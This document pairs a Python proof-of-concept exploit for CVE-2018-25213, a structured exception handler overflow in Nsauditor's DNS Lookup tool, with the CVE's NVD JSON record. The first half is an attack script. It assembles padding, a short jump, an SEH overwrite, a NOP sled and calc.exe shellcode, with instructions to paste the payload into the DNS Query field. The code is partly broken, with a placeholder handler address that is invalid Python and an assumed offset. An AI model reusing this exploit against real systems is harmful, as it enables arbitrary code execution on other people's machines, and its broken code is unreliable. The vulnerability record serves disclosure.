CVE-2018-25213

#!/usr/bin/python # PoC for CVE-2018-25213 - Nsauditor DNS Lookup SEH Overflow # Usage: Copy the generated buffer and paste it into the DNS Query field. import struct # Shellcode (calc.exe for demonstration purposes) # 32-bit windows shellcode shellcode = ("\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0\xCC") # Padding to reach the SEH handler offset # Note: Offsets need to be adjusted based on exact version/debugging # Assuming a typical offset for demonstration padding = "\x41" * 524 # SEH Handler overwrite (pop pop ret instruction address) # Replace 0x1001XXXX with a valid address from a non-ASLR module seh_handler = struct.pack('<I', 0x1001XXXX) # Short jump to shellcode (EB 06 90 90) nop_sled = "\x90" * 8 # Final Payload payload = padding + "\xEB\x06\x90\x90" + seh_handler + nop_sled + shellcode print("[+] Payload generated successfully.") print("[+] Length: %d" % len(payload)) print("Payload:") print(payload)

{"cve": {"id": "CVE-2018-25213", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:04.933", "lastModified": "2026-05-01T20:58:09.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nsauditor 3.0.28.0 contains a structured exception handling buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying malicious input to the DNS Lookup tool. Attackers can craft a payload with SEH chain overwrite and inject shellcode through the DNS Query field to achieve code execution with application privileges."}, {"lang": "es", "value": "Nsauditor 3.0.28.0 contiene una vulnerabilidad de desbordamiento de búfer de manejo de excepciones estructurado que permite a atacantes locales ejecutar código arbitrario al proporcionar entrada maliciosa a la herramienta de búsqueda de DNS. Los atacantes pueden crear una carga útil con sobrescritura de la cadena SEH e inyectar shellcode a través del campo de consulta DNS para lograr la ejecución de código con privilegios de aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nsasoft:nsauditor:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.7", "matchCriteriaId": "8404A51C-8F9C-43F0-9022-CE3D23974401"}]}]}], "references": [{"url": "http://www.nsauditor.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.nsauditor.com/downloads/nsauditor_setup.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46005", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/nsauditor-local-seh-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}